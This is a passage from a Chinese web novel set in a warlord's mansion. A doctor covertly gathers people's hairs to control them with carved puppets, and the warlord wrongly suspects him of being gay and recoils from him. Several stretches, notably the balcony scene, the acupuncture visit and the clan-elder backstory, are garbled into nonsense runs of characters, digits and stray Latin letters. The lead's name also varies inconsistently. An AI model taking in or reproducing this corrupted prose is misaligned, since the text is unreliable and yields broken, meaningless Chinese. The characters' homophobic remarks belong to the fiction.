“你看你,都认识这么久了,对我还有什么好隐瞒的,你早说我就不带你来舞厅了,带你去戏园子多好,那儿的兔爷.……啊不是,那儿的俊俏小生比较多。” 他说着习惯性去搭陈骨生的肩膀,手伸到半空不知想起什么,又触电般缩了回来,讪笑道“再说了,就算你不要陪酒小姐,别人也要的嘛,我还另外约了几个朋友呢。” 朋友? 陈骨生闻言轻轻挑眉,顺着厉京楷指的方向看了过去,只见隔壁卡座有几名公子哥儿正在喝酒闲谈,伴随着他一声招呼,都笑着起身走了过来,明显是熟识。 “哟,七少,今天怎么有空来百乐门,我还以为你去逸园了呢。“”嗨,还不是过来捧芳妮的场,你也知道,花篮如果送少了她要生气的嘛…对了,给你们介绍一个新朋友,我二哥的私人医生,陈骨生陈医生。” 厉京楷走上前和他们挨个抱了一下,然后大咧咧揽过其中一人的肩膀对陈骨生道:”陈医生,这位是丹尼周,医学院的高材生,他家在霞云路开的周氏药房你听说过没?省城有一大半的药材都是从他家进的,和我 哥的军队也有不少生意往来。” 另外一名穿银灰色西装的男人笑着弹了弹手中的雪茄,然后弯腰主动倒了一杯红酒,对陈骨生和厉京楷一敬: “京楷兄不介绍我?那我自报家门,鄙人顾徽明,哥大经济系肄业,现在跟着家父在证券交易所混日子,陈医生如果感兴趣,改日可以买两支橡胶股。”“徽明,你少祸害人。” 第三位始终笑着等待的男子终于出声,他的头发留得比普通人稍长一些,看起来颇为文艺,主动转向陈骨生自我介绍道: “林芳城,普林斯顿建筑系,陈医生如果得空,不妨来看看我在外滩新落成的画廊,徽明兄兜里的股票单子可比百乐门舞女的胭脂还红,陈医生要是肯来,我就在画廊辟个诊室,专治诸位看了烂股票的心绞痛。”他一番幽默风趣的话引得众人大笑不已。 陈骨生却敏锐嗅出了几分鸿门宴的苗头。 顾徽明和林芳城二人,一个从哥大毕业,一个从普林斯顿毕业,很明显是厉京楷在国外念书时认识的好友,唯独那位丹尼周,除了家里经营药材生意之外,背景讳莫如深。 心念电转之间,陈骨生已然明白了什么。 他微微一笑,面上依旧是那副处变不惊的从容,随手从侍应生的托盘里接过一杯白兰地,优雅倾斜,对众人虚敬: “七少是人中龙凤,认识的朋友也不同凡响,倒显得在下才疏学浅了,鄙人陈骨生,不过在督军府谋一份小小的差事,希望诸位不会有用到我的天。” 丹尼.周也倒了杯酒和陈骨生轻碰:“陈医生哪里话,我们也是半个同行,你如果才疏学浅,我岂不是也上不得台面……哦对了,听京楷说,你是莱斯金顿大学毕业的?” 他望着陈骨生的眼睛,面上虽然在笑,最后一句话却显得有些意味深长。 事已至此,陈骨生哪里还有什么不明白的,这群人恐怕是厉京楷专门找来刺探自己底细的,他轻抿了一口酒,饶有兴趣问道: “周少难道和我是同学?” 丹尼周哑然失笑,算是默认:“我回国早,应该比你大几届,可惜现在已经弃医从商了,真是怀念当初上学的时光,我还记得上解剖课的时候,有一棵橡树总是戳进实验室窗户,同学当年还在树洞里还刻了一句拉丁文箴言…"Cura te ipsum——先治治你自己。" 陈骨生镜片后的目光温和带笑,顺势接话,他抬手轻点自己的太阳穴,然后微微摇头: 可惜三年前狂风刮断了那棵老树,还砸穿了体育系的更衣室,言得游泳队裸奔上报纸,《巴尔的摩太阳报》头版——肌肉男与橡树枝齐飞,你如果看见应该会很有兴趣的。” “哈哈哈哈哈!竟有这等趣事?我忽然有些后悔自己这么早毕业回来了,否则还能看一看热闹!” 丹尼周闻言不禁大笑起来,用力拍了拍陈骨生的肩膀:“老天!你当初回国真应该带一份简报给我收藏,说不定上面还有我认识的人!” 陈骨生同样亲切回揽了他一下,修长的指尖不经意掠过丹尼.周的后脑,将一根黑色发丝悄然藏在掌心,然后不动声色收回手: “校图书馆阁楼里还收着那份报纸,周少什么时候故地重游,说不定还能找到。” 丹尼周只觉得后脑微不可察刺痛了一下,并没有放在心上,他对着陈骨生略微笑笑,但不知是不是错觉,那笑意比起刚才好像淡了几分: “等将来有时间我们倒是可以约着一起,回母校看看教授。” “这是自然。” 他们总算结束寒暄,接二连二落座,叫来几名漂亮的舞小姐在旁边相陪。只是中途丹尼周忽然借口去上厕所,就连厉京楷也起身跟了过去。 陈骨生双腿交叠坐在沙发上,姿态闲适安稳,从头到尾都没有抬头看他们一眼。 “怎么样?他到底是不是莱斯金顿毕业的?” 厉京楷一和丹尼.周离开座位,就立刻找了处僻静角落迫不及待开口询问。 说来也巧,他早年在M国的时候四处胡混,书没念进去多少,朋友倒是认识了一堆,好巧不巧就有一个丹尼.周,对方和陈骨生一样毕业于莱斯金顿医学院,用来试探底细倒是再方便不过。 丹尼.周却是皱了皱眉,因为他们学院的实验室旁边并没有种植橡树,树洞里就更不可能用拉丁文刻什么箴言了,可偏偏陈骨生说得有理有据,让他都不禁对自己产生了几分怀疑: “这个人很可疑,我刚才试探他的话其实都是瞎编的,他却能神态自如的接上,并目对答如流,如果是个骗子,那他的骗术未免也太高明了。” —这段话并没有成功说出口。 因为就在话到嘴边的一刹那,丹尼.周忽然感到一阵眩晕,大脑空空荡荡,就像被谁掏空了记忆,就连目光也呆滞了起来。 厉京楷并没有察觉他的变化,出声催促道:“哎,我问你话呢,你怎么不理我?” 丹尼.周缓缓看向他,动作带着一丝微不可察的僵硬,就像是被人操控的傀儡,一字一句道: “是的,他确实是莱斯金顿大学毕业的,否则不可能知道我们学校实验室旁边种了棵橡树,而且还知道那棵树砸塌了体育系的更衣室。” 厉京楷顿时松了口气:“那就行,我说嘛,陈医生看起来文质彬彬的,比我还像留过洋的,怎么可能是骗子,我哥就爱瞎怀疑。” 最后一句话说得轻,没人听见。 厉京楷回过神,大咧咧揽住丹尼周的肩膀笑道:“得了哥们儿,这次可多亏你,今天的酒局舞票我请,能喝多少都算你的本事。” 另外一边,陈骨生既不和舞女谈笑风生,也不和别的酒客一样聊天划拳,手中慢悠悠摆弄着什么东西,细看是一个木雕的小人,不过巴掌般大小,刚好可以攥进手心里。 芳妮小姐知道他是厉京楷带来的客人,担心他受了冷落,笑吟吟端着酒杯过来搭话,涂着鲜亮指甲油的手抵着唇瓣轻笑,尾音像裹了蜜的棉丝,一口吴依软语 “陈先生呀~侬勒浪看啥宝贝啦?让我也望望好伐?” “该勿要是哪位小姐送把侬的定情物事吧?依眼光交关好喔~” 陈骨生镜片后的目光笑了笑,他摊开骨节分明的掌心,只见上面静静躺着一枚老檀木雕的狐狸头木偶,瞧着精致可爱: “不过是一个木偶,我打算练练手艺,将来如果失业了也好在霞飞路支个摊子,芳妮小妇倒时候可一定要带着七少过来光顾,毕竟你说的话在七少那里比圣旨还管用。” 芳妮小姐明显被取悦到了,整个人几乎要笑倒在一旁的丝绒沙发扶手上,烫染成波浪纹的乌黑鬓发随着她的动作滑落几缕,那双含着水光的眸子笑出了泪花,眼尾精心描画过的黛色也跟着微微晕开。 她的珍珠耳环一晃一晃,绢帕轻甩带起香风: “哎呦喂,陈医生真促狭,督军府的金饭碗勿要太牢靠哦,等歇七少过来,我定规要告诉他—陈医生要改行做木头狐狸精咧!” 说曹操,曹操到。 他们正聊得起劲,厉京楷和丹尼.周就回来了,他们一左一右在沙发上落座,看起来神色如常。 “聊什么呢,这么开心?” 厉京楷随手揽过芳妮,对他们刚才的聊天内容很感兴趣,芳妮顺势倚进他的怀里,绢帕轻扬指向陈骨生: “七少~陈医生要改行当木匠,说将来失业了请我们多多捧场,你快劝劝伊呀!我还等着陈医生高升了,好托关系插队挂号呢!” 厉京楷也乐了:“陈医生,你天天正事不干,偏喜欢待在房里研究木雕,当初报考医科真是屈才了,就应该在西街找泥人张拜个手艺嘛。” 陈骨生也不争辩,只是把玩着那枚狐狸木雕,然后漫不经心吹掉上面的浮灰,一副“玩物丧志”的模样,谁也没注意到旁边的丹尼周忽然打了个寒惨。 “我这也是未雨绸缪,毕竟厉少帅身边能人太多,说不定哪天就把我挤没影儿了呢,还是早做打算的好。” 他语调慢悠悠的,听起来就像是随口说的玩笑话。 厉京楷是个粗神经,自然听不出他话语里的深意,不过他听见陈骨生提起厉戎生,神情多少变得有些不自在,屁股底下活像长了针,怎么坐都不得劲。 “怎么会,你这叫杞人忧天,我哥身边人是多,不过都是些大字不识的丘八,真正念过书的满打满算也就你和许维均,余者不值一提。” 或许是因为今天故意设局试探,厉京楷多少有些心虚愧疚,拍着胸脯打包票将来厉戎生如果撵他走,一定会收留他。 陈骨生对此的意见是听听就好,千万别当真,毕竟厉京楷被撵出去的风险比他要高得多。 酒局散后,他们一起坐车回了督军府。 厉京楷急着汇报情况,匆匆编了个借口就上楼了,临进房前好歹还记得先敲门,听见里面传来一道“进来”,这才敢推门走进去。 夜色深沉,厉戎生却还没睡,白天事物繁忙,直到现在他才得了闲暇翻看今天的晨报。 听见厉京楷进来的动静,他连眼皮都没抬,只是把报纸随手往茶几上一放,然后端起提神的茶轻抿了一口,声音低沉平稳: “怎么,查出来了?” 厉京楷眼神尖,瞥见报纸上面的副标题写着“不州发生军事冲突,致使铁路中断逾三十小时”这样的字眼,不过他对这种政事一向没什么兴趣,也就收回了视线。 “都查清楚了二哥,陈医生确实是莱斯金顿大学毕业的,我今天找了个在那里念过书的朋友帮忙试探,绝对不会有错。” 对于这个答案,谁也不知道厉戎生到底是满意还是不满意,他只是听不出情绪的“嗯”了一声,对于厉京楷这个便宜弟弟总是懒得应付: “知道了,你出去吧。” 厉京楷却欲言又止,一副有难言之隐的模样。 厉戎生见状皱眉,冷冷开口:“有话就说。” 他最烦厉京楷三棍子打不出个屁的窝囊样。 厉京楷闻言立刻哒哒哒小碎步上前,活像皇帝身边的狗腿子小太监,他弯腰凑近厉戎生耳畔,直到现在还是颇为惊奇,压低声音惊叹道: “哥,你还不知道吧!” 厉戎生眉头拧得更紧:“知道什么?” 厉京楷双眼亮晶晶,语气激动的八卦道: “陈!医!生!喜!欢!男!人!” “他!喜!欢!男!人!啊!” 250、绝望… 督军府里生病的人向来不多, 即便是厉成生麾下的士兵有了什么头疼脑热也多半是去军医院诊治,所以陈骨生的日子过得还算清闲。 他平常除了雕刻那些用作媒介的木偶,每天最常做的就是和督军府的下人攀谈往来,就连巡逻的大头兵也没放过。混得熟了、走得近了,就能神不知鬼不觉从对方脑后取下一根发丝。 那些女佣最好下手,她们梳着乌黑的长麻花辫,哪怕是在厅堂问穿梭忙碌也会时常不经意落下几根散发。 最难对付的反而是那些粗神经的大头兵。他们个个剃着利落寸头,发茬硬挺扎手,再加上警觉性极高,所以很难得手。 因此陈骨生平常总是“直欢”“不和他们勾肩搭背、故作亲近—只为了那短一瞬的机会。 这天晌午,他看见岳振声刚换下巡逻岗,正靠在岗亭旁边捶着发酸的肩膀,便很自然地踱步过去,顺势递过一支老刀牌香烟: “岳队长,辛苦,看这两天府里访客进进出出,比往常多了几倍,你们巡哨的差事怕是更紧了吧?“ 岳振声之前帮陈骨生搬过家,二人关系也算熟络,他接过烟卷,就着陈骨生划着的洋火点上,狠狠吸了一口,吐出烟圈道: 可1是麻,陈医生,另说们,连许副官的房里者专熄过灯 “哦?是出了什么大事?” 阵骨生顺势靠近丰步极其自然地搭上岳振声的启头。仿佛是力了方便听他细说,又像是力了匮免别人偷听。”嗨,还不是不那档当子破事!” 岳振声自觉这不算什么秘密,也就没瞒着他, 吴凯之那非学色孙在6动了炮,直接雍了一段快路,还扣了好1列火车的位1服下城里几家大商行的老板超快急向了天来所里求见少帅,就相声少市中面说和,好5先把路饰通,那批货要是再扣下去,只怕血本部要赔个精光!这兵荒马乱的年月,军阀割据,毫不夸张地说,随便去哪个县城转转,都能撞见麾下几十条枪就敢自称“大帅”的人物。 吴知之就是这之么一号在码州自立力干的色,(巧5地和师历督军样.也是上旺起家,拉起了TK压越四参大打目边,抱拒占地起。势力市充得起迅速,前些日子他位强占了MH运的5,连人带体中口下 面治了极点 现在各处都在交火,要紧的运输线早就被各路军阀死死攥在手里,寻常商人根本挨不上边,全指着邳州这一条路周转。 眼下这个局面,货物进不来出不去,怎么能不让那些做生意的着急。 陈骨生眉头微皱“竟有这种事?不邳军未免也大霸道了,这兵荒马乱的年月,做点买卖真是不容易 少帅师怎么说?” 岳振声摆摆手 少中的心思岂是咱们自能揣则的,不过让那帮女奸商着急看急也好,平日里要他们书指饷助军一1个哭穷比刀子割购还难 “俺们弟兄在前线拼命是为了谁?不就是为了保他们一方平安?这些人倒好,太平时候一毛不拔,出了事就找上门来,活该他们干着急!” 陈骨生不语,只是轻拍了两下他的肩膀,像是表示赞成,又像是劝他消气: “岳大哥说的对,这年头,第一个苦的是百姓,第二个就是你们这些在前线卖命的兄弟。” 他说着自然而然收回手,指尖一捻,已经把一根短发悄无声息收进袖中,面上仍是一派温和,继续同岳振声闲扯着些无关紧要的话,殊不知这一幕早就被站在二楼露台的历成生尽数收入眼底。 —当然,他的视力没好到能看清那根头发丝的地步,他只看见陈骨生和岳振声两个大男人光天化日之下勾肩搭背、腻腻歪的模样。 厉戎生右手端着半杯威士忌站在露台,左手随意插进军裤口袋,白衬衫的袖子挽至肘间,露出一截线条利落的小臂,手腕骨感分明。 他皱眉望着楼下那幅景象,杯中的酒夜随着他无意识的动作微微晃动,眉宇问渐新暨起一道采刻的纹路。 这陈骨生 难道真有那种廓中好? 厉戎生抿了一口酒,甜苦的西夜骨过喉啦,心)底却莫名泛起一阵惊疑与不适 当于历京楷平常就是个不品造的地色说话网端应火车,所以形天他信告四地5路胃生高好男风、历地生最多世如加师进去分,且余七分全当作那小子在大其同无事生非。 可今天这么一看,厉戎生又有些不确定了。 为了验证自己的猜想,他继续卖观察陈骨生接下来的举动,然而越观察脸色就越难看。 无他,。防容生几于整个下午赵在和分面远0E兵号动关并日每三该证0时,就会三目自协地中手搭上9市方后,。时而轻拍,时叶而轻技,怎么百怎么字呢 厉戎生和厉京楷虽然长得不像,行事作风也天差地别,但这兄弟俩有一个共同点— 那玩就是最见不得两1大男人勾勾搭搭暖昧不清,看了就要师心反胃的那种。 如果的四国际市达生前9左在他地bD下AT95。可他一想份台生下仅是个免节,还每天地上都大卡相自已1针,手在自己上宽来家的,血t了起来 他娘的! 万成生抬色用元,心见里不学同写了白适他地0头把杯子里地四足,披璃怀重临在旧台杆上发出当四一声响=1估i过D1A的56. 陈骨生刚I巧5又从一名士兵肩上收回手,他似有所觉回头看向二楼阳台,却正对上厉成生那双几欲喷火的眼眸,不由得眉档轻挑,冒出了几分疑惑 对方这是吃枪药了? 厉成生面沉L似水什么也没设说。口是冷冷拉上宿帘,转身房开了阳台。 陈骨生之前给厉成生施针,是每天一次,后面对方身子骨渐好,就慢慢改成了三天一次 今天才第三天按理总足不用的4的,(但他地起历成性今天的反应,形的杂到了列里下),保应E见还是决运去却服一下所以之后成》智的柏上楼总加血了历放生价份室门。笃笃笃 “少帅,是找。 历成生工在苦05D70E4第活的声音吓得手一体学点连了,他国过坤色告白交の不定,心相这个免给当LE么会大核2牧来护自己,还安保分的日有些事,越想越让人后背发凉。 历成生前半生心M师,无致数为和1万用而过都材,这个时保心里居体有些做不安,他旧义就,声此里压不住m9 “什么事?” 陈骨生温和如加旧:“采夜愤就少帅巾了,不过我今早给您把脉的9时候,忽然发现脉象比前两天稍明了一些,稳妥起见,还是上来再给您施一次针。” 厉成生现在哪里敢让他扎,脸色铁青的回绝道“这件事明天再说,我现在已经睡了。” 陈骨生故意试探“那 我明晚上再来?“ 厉成生顿时闭口不言。 明天?明天他也不想见这个免爷。 阵骨生听见门内传来的静默,哪里还不明白厉或生这是故意避着自己,他抬手轻推了一下鼻梁上的服镜,目光轻闪,故意发出一声低叹。似有无奈 少巾,可是在下哪里做的不好? 或生心旭这个小白脸倒冷哪里做的不好,就是性取向不大好。他心烦乱把城纸丢到旁边,到底还是耐眉性子数行了一句 “我最近军政繁忙,不得空扎针,等忙过这段时间再说。” 陈骨生欲言又止:“可是少帅的身子骨刚刚见好,如果断了针灸,恐怕前功尽弃啊。” 他说完这句话,房里彻底没了动静,三秒后,终于响起一道低沉不甘的声音 “进来!” 陈骨生闻言似乎是笑了一下,这才顺势推门进去。 只见厉戎生端坐少沙发,指问虽然模着报纸,身形却口绷得僵直。如果换了平常,他早就该熟门熟路地解开衣服趴上床了,现在却偏偏动不动,连面色都透出几分难看。 陈骨生却像没看见厉戎生的反常,他把药箱随手搁在床头柜,然后拖了张椅子坐在床边,双腿交叠,施施然卷起袖子,露出一双白皙得有些过分的手来。 他对着床边,伸手做了个“请”的手势,语气带着几分怡到好处的疑惑 “少帅?” “_… 或生只好从少发上站起来。然后用生平最缓慢的速度走到床边,使落座。 陈骨生提醒道“少帅,可以脱衣服了。” 这句话也不知哪里触碰到历戎生敏感的神经,他瞬间抬头狠刮了陈骨生一眼,语气恼怒“老子不知道扎针要脱衣服吗?用得着你提醒?!” 陈骨生对他喜怒无常的脾气从来没有任何反应,永远浅笑淡然,闻言也不生气,只是做了个“请继续”的手势: “少帅勿怪,那您慢脱,我先整理一下针包。” 他说着从药箱里取出那枚常用的浅青色针包,然后徐徐展开,把那些已经稍微有些变形的针,——取出收纳在旁。 只是厉戎生的手放在衬衫扣子上,死活就是下不去手,就在陈骨生已经把针包里的针来回倒里两三遍的时候,他还一颗扣子部都没解,磨磨蹭踏也不知道在干嘛。 厉戎生喉结滚动了一下,语气僵硬的问道:“-…就不能隔着衣服扎吗?” 陈骨生轻轻偏过头,镜片后的目光安静落在他脸上,无声传递出一个清晰的疑问:“?” 251、气死了 . …" 厉戏生也意识到自己的要求确实有些强人所难了,可一时又拉不下脸收回,只得僵坐在原地,神情愈发难看。陈骨生却是不置可否,他把玩着那根细长的银针,仿佛真的在思考该如何“隔着衣服”下针,语气温文尔雅:“少帅,我倒是不打紧,可就怕等会儿万一失了准头,把您给扎出个什么好歹来。”他说着缓缓抬眼目光在厉戎生紧绷的身形上慢悠悠打了个转,唇角微不可察上扬, “您确定……要隔着衣服扎?” (~一厉戎生当然不确定! 他就算再不懂医理,也知道针是不能乱扎的,万一这小白脸医术不精把他给扎个半身不遂杀了对方事小,自己却是赔得大! 厉生狠狠闭了一下眼等再睁开时已然下定决心,只见他冷着脸解开衬衫,然后胡乱褪下扔在床尾,活像要上战场英勇就义一样,整个过程带着一股子豁出去的狠劲,连扣子都崩掉了几颗。 就连陈骨生都有些怀疑地看了一眼自己手里的针— 针灸而已,有那么痛苦吗? 厉成生都已经在床上好了,一抬头就见陈骨生正盯着针发呆脸色顿时阴沉下来:“愣着干什么?还不快点扎!” 于是陈骨生忽然觉得,让对方痛一点也没什么不好。 不知是不是错觉,厉戎生只觉得今天的针落下时,格外绵长、也格外酸服胀刺痛。他只当是自己心理作用,咬紧牙关忍耐,希望这个小白脸赶紧扎完赶紧滚蛋。 所陈骨生并没有拖延,起针后就从容起身,然后像往常一样拿起床尾那件被择鼓的衬衫,轻轻披在厉成戎生肩头。他微微俯身,低声道: "少帅,那您好好休息,有什么不妥随时叫我。" 他总品供字身文始长,脉了实架上的金边职,不见半点多条的啦,直当出此50系近,饭购松,才不经的向二出5间根00的形线。,底下坐着牧色函红的果砂地。 那佛牌上刻着的既非慈悲观音,亦非寻常佛像,而是一尊形态极其诡谲的邪佛— 1面孔三E,地思 关或越成或狂眩,神路名异,妖1席,十六只手抽由间身伸民,每只手学中间热如二1505,正无声战取者的,邪一请然,令人不家断而乘 厉戎生原本只是随意一瞥,却莫名有些移不开视线,他打量着这枚诡异的佛牌,嗓音低沉: “你脖子上戴的什么?” 他本来就是个邪性的人,自然也喜欢邪性的东西,莫名觉得这枚佛牌对了他的眼缘。 陈骨生顺着他的目光垂眸,随手拨弄了一下:“少帅问这个?不过是一枚早年从南洋得到的朱砂命牌,不值什么钱,但佩戴多年,也有几分感情。” 厉戎生闻言意兴阑珊地收回视线,他性格虽然霸道,却不至于没品到抢部下的东西,更何况是这个小白脸儿戴过的,白送他都不要。 他头也不回地摆手,示意陈骨生可以出去了。 翌日午后,督军府来了一群身份特殊的访客,他们都是城中掌控盐粮、绸级的各行头牌面人物,这次联袂而至,共同递帖求见。 按照厉戎生的性子,他平常最不耐烦应付这些满身铜臭的商贾,所以前几天都让人打发了,但这次却有些没法推拒— 只因他们联手请动了厉家宗族里的一位长老出面说项。 这位长者须发皆白,身者赫色团花马措,手中握着根油光水滑的紫槽木手杖,步属沉稳,不怒自成,细论起辈分来,他比厉智军还要高上一些,就筑足厉成生也得叫句叔公。 在应0Pn0m,.仆人在坪中摆了一张西联之圆点,又按主久缴的独位,有伞交在头烦,锄也下描沟热,率上是-立气路的英均系和苦干强国点心,散发在5克力加面音。 只是那些商会老板却都变心思品尝,频频治头望向二楼那房紧闭的书房窗户,焦为等传着那位能决定他们身家性命的人物出现。 唯有那位被请来主持局面的宗族叔公,拄着手杖淡然端坐原位,他苍者的眼皮战微龄直拉,上面遍布着一些褐色的老年斑,不紧不慢开口: “赵会长,钱会长,稍安勿躁。“ “老朽既然答应出面帮你们促成此事,就一定会履行诺言,当年厉督军起家还是我倾尽全族资助了他一万大洋买艳拉队伍,这份香火情,戎生总不会不顾“ 今天城中有头有脸的商人几乎都聚在了这里,细看却俨然分作两派— 一也5e 5交,另-2RER5期1与许59 m0的,、这平9地4、160,奶不8下mE的,B四地5=国 共来 赵会长与钱会长闻言,脸上总算挤出几分笑意,连忙拱手客套道: “厉叔公说的是,厉家宗族里头,就数您老人家最德高望重,我等的身家性命,今天可全仰仗您老周全了。” 许副官负手站在廊下阴影处看了片刻,这才转身进屋上楼,把消息禀告给厉戎生: “少帅,他们果然和厉叔公提前通好气了,打算用辈分压您呢。” 厉戎生站在窗户跟前,早就换好了衣服,却迟迟没有下去,他闻言冷冷勾唇,嗤笑了一声: “这个老不死的…… 当年不以足信了名头子万大,+几年了还在缺来达地说,共历旅连本和还了他上百万大革不址止,还把他/个不的/子都度去了台施地水品n71做位,天大的酷火师该速述完定了.他撩起窗帘一角,眼见厉叔公在那群商贾的吹捧下愈发自得,眼底讥讽神情愈浓。 “他既然喜欢倚老卖老,那就让他卖个够,我厉戎生可不买他的烂账!” 许副官闻言隐有担忧,走上前在他耳畔压低声音正准备说些什么,厉戎生却忽然反应极大地后退两步,偏头冷冷瞪了他一眼: “这里又没别人,想说什么就说,两个大男人挨这么近做什么?!” “啊?……哦哦哦。” 许副它显尔然感,但也习惯了历成生的盘怒无常,那在一些距离站直身形道:“少帅,虽的不买他的面子,但脸上也不用得大难看,万一世打电话给绍军,有理也站没理了,依我等会儿旋言群的绝放好,不必动1me的.” 他之所以这么说,完会是因为历成生有前历史,当年环境最恶络的据,各家成遇达判,历成生一场会汉下来能跑十几个人,叔公年纪大了,可禁不起可. 厉戎生不耐摆手:“知道了,下去吧。” 他说着不知想起什么,忽然补充了一句:“对了,把那个小白脸也给我叫上。” 等会儿厉叔公那个老不死的万一被气昏过去,还能让陈骨生帮忙扎两针。 于是就在那群商行会长已经快被太阳晒晕过去的时候,厉戎生终于带着人施施然下了楼,身后还跟着许副官和临时被叫过来的陈骨生。 历成生一向张华整,对于白白晾了这群人两小时投有丝毫款商,他在许副高拉开的那胀白色椅子上径直落座,虽然态龄湿,周身却选者令人不敢直视的五启感: “最近天气昏沉,中午就多睡了一会儿,不好意思,让各位久等了。” 他语气平淡,分明不见半分愧意。 在座的都是人精,谁也不会傻到跟厉戎生对着干,纷纷摆手表示不要紧,说少帅庇护一方殚精竭虑,实在是辛苦了云云。 厉叔公被晾在底下这么久,自觉没有面子,他故意咳嗽一声,用手杖重重拄了一下地,主动开启话头: “我生,今天我们国眯前来,实是为了多州性铁路中断事,这件事关乎全城商脉民生,赵会长、钱会长他们确实是走投无路了,这才求到我这里,希望你能看在地方安宁的份上,施以凝手。” 赵会长连忙起身补充,颔头沁着细干:“少帅明鉴!吴凯之部在不州强占线路,炸毁路基,扣压货车已逾+几天!我们几家商行的货全堵在半道,多是时令鲜货与销洋货,再耽指下去,必定血本无归啊!” 钱会长也紧接着附和,声音带看急切:“现在各处部不太平,唯有倚仗少帅成名,或可与吴凯之斡旋-二,至少先放还货物,修复铁路。此事若成,我等商会同仁,必定铭记少帅大恩,日后助纳粮,绝无二话!” 他们言辞愿切,寄希望于这位年轻却手握重兵的军阀少帅身上,会客厅内一时只能听见那群商行老板紧张的呼吸声,所有目光都注视着厉戎生那张看不出喜怒的脸, 殊不知厉戎生最不耐烦听这些冠冕堂皇的屁话。 他手里握着三条运输线,就算邳州废了,万城的生活供给也绝不会出问题。 附五适山七/路的车网形么多,驾世下是性们1万旅B结区,这不列的上城皮子碰下墙安子就5i1地界出兵去谈,该不好还9开,封到时腕地火平准,一场小加M8B打下来个几九十方万银元地不住,更不提放10的交家费及药黄和历产就抚血金,那更是笔文数产。日后助饷纳粮,绝无二话? 呵,日后是哪个日后啊?又是怎么个助法,怎么个纳法?要知道捐一百大洋也是捐,捐一万大洋也是捐。 这些奸商一个子儿不想掏,说句冠冕堂皇的话就想借兵,哪儿那么容易。 厉成生漫不经心倒入椅皆,阳光凝过他轮廓分明的脸,却以乎始终驱不散周身的淡淡明部死气、他肤色透着一种久未规光的巷白,眼下青果的能痕因此愈发明显,像是墨迹渗入宣纸,无声诉说着某种难以言说的消耗与沉响。不过他好歹还记着许维均的叮嘱,拒绝得比较委婉: “办不了,你们可以滚蛋了。“ 众人闻言脸色齐齐一变,厉叔公更是气得吹胡子瞪眼,他好歹也是厉家宗族的长辈,就连厉督军在他面前也得客客气气的,厉生这个离经叛道的反骨种竟然敢对他这么说话?!厉叔公用拐杖重重捣了一下地,草坪都陷下去一个深坑,沉声开口: “戎生!你这么说是不是不把我放在眼里?!你刚才见面连声叔公都不叫,开口就让我们滚蛋,这就是你的家教吗?!” 厉戎生闻言倒也颇给面子,对门口礼貌做了个“请”的手势:“叔公,您可以滚蛋了。” “你!!” 厉叔公顿时气得血脉喷张,曜地从座位上站了起来,怒瞪着厉戎生道: “我好歹也比你多活四十几年,吃过的盐比你吃过的饭还多,你简直太放肆了!太放肆了!” 厉成生连眼皮子都懒得掀,淡淡挑眉:“比我多活四十几年,那不就是比我早死四十几年?叔公,你都黄土埋到脖子的人了,还是少掺和年轻人的事,免得今天时运不济,不小心走在我前面。”厉叔公没说话了。 因为他一口气没上来,直接咯噔一下昏死过去了,那些商行老板见状顿时炸开了锅,纷纷跑上前查看情况。 “厉老!厉老您没事儿吧?!”“叫医生,快叫医生啊!”厉成生双腿交叠,饶有兴味注视着这一幕,同时偏头斜睨了一眼八风不动的陈骨生,眉头微皱,心想对方平常挺有眼力劲的,怎么今天呆不楞登。“没听见吗?叫你呢,还不赶紧过去救人?” 陈骨生闻言终于有所反应,却是露出了和昨晚一样的神情,镜片后的目光透出几分疑惑: “我吗?”